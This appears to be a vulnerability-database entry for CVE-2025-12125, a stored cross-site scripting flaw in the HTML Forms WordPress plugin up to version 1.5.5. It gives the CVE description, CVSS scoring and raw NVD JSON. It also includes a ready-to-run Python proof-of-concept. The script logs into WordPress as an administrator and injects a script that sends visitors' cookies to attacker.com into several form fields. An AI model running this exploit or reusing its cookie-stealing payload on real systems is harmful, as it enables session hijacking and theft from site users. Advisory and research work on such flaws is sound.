Security Vulnerability Report
中文
CVE-2025-12125 CVSS 4.4 MEDIUM

CVE-2025-12125

Published: 2025-11-08 04:15:44
Last Modified: 2026-04-15 00:35:42

Description

The HTML Forms – Simple WordPress Forms Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

HTML Forms – Simple WordPress Forms Plugin <= 1.5.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
## CVE-2025-12125 PoC - HTML Forms Stored XSS ## Affected: HTML Forms plugin <= 1.5.5 ## Requires: Administrator privileges ## Target: WordPress multi-site or unfiltered_html disabled import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-wordpress-site.com" USERNAME = "admin" PASSWORD = "admin_password" def get_csrf_token(response_text): """Extract CSRF token from login page""" soup = BeautifulSoup(response_text, 'html.parser') token_input = soup.find('input', {'name': '_wpnonce'}) if token_input: return token_input.get('value', '') return '' def login(): """Authenticate as WordPress administrator""" session = requests.Session() login_url = f"{TARGET_URL}/wp-login.php" # Get login page and extract nonce resp = session.get(login_url) csrf_token = get_csrf_token(resp.text) # Login request login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', '_wpnonce': csrf_token, 'redirect_to': '/wp-admin/' } resp = session.post(login_url, data=login_data, allow_redirects=True) if 'wp-admin' in resp.url or resp.cookies.get('wordpress_logged_in'): print("[+] Login successful") return session else: print("[-] Login failed") return None def exploit_stored_xss(session): """Inject malicious JavaScript via plugin settings""" # XSS payload - steals admin cookies xss_payload = '<script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' # Target: HTML Forms plugin settings page settings_url = f"{TARGET_URL}/wp-admin/admin.php?page=html-forms&view=edit" # Get settings page resp = session.get(settings_url) csrf_token = get_csrf_token(resp.text) # Prepare form data with XSS payload form_data = { '_wpnonce': csrf_token, '_wp_http_referer': settings_url, 'htmlform[id]': '1', 'htmlform[name]': xss_payload, # XSS injection point 'htmlform[description]': xss_payload, 'htmlform[submit_text]': xss_payload, 'htmlform[submit_button_text]': xss_payload, 'htmlform[submit_success_message]': xss_payload, 'action': 'save' } # Submit form with XSS payload resp = session.post(settings_url, data=form_data) if resp.status_code == 200: print("[+] XSS payload injected successfully") print(f"[+] Payload: {xss_payload}") print("[+] Payload will execute when admin accesses the form page") else: print("[-] Injection failed") if __name__ == "__main__": session = login() if session: exploit_stored_xss(session)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12125", "sourceIdentifier": "[email protected]", "published": "2025-11-08T04:15:44.487", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The HTML Forms – Simple WordPress Forms Plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 1.5.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3390481%40html-forms&new=3390481%40html-forms&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/f99622df-0bf3-4252-8bd3-f84c61fcd39a?source=cve", "source": "[email protected]"}]}}